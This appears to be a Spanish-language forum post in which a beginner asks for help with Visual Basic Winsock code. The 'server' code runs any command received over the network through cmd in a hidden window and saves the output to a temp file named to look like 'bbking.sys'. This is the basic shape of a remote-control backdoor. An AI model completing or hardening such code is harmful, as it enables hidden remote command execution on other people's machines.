Aver si alguien me puede ayudar con esta parte q me estanke 
La cosa es que quiero enviar un comando al cmd yob tener la respuesta
en mi ventana pero empece hace muy poco con vb y bue jajaj
esto es lo que hize pero no va
y en el cliente me abre otro form q nose porq :S

server:
Private Sub ws2_dataarrival(ByVal bytestotal As Long)
Dim datos As String
ws2.GetData datos
Shell "cmd /c" & datos & ">>" & GetDirTemp & "\bbking.sys", vbHide
ws2.SendData (GetDirTemp & "\bbking.sys")
End Sub

client:
Private Sub ws1_dataarrival(ByVal bytestotal As Long)
Dim datos As String
ws1.GetData datos
txtshow.Text = datos
End Sub

el problema esta en el server.. que no me guarda el log
cuando lo pruev con un commandbutton, me crea el log sin problemas
ej:
Private Sub Command1_Click()
Dim datos As String
datos = "ipconfig"
Shell "cmd /c" & datos & ">>" & GetDirTemp & "\bbking.sys", vbHide
End Sub

esa es una parte.. y despues como podria hacer para enviar el "bbking.sys"
proq si lo envio como puse arriva.. me devuelve en el cliente la ruta del archivo,
enves del contenido.

Espero q me puedas ayudar
thks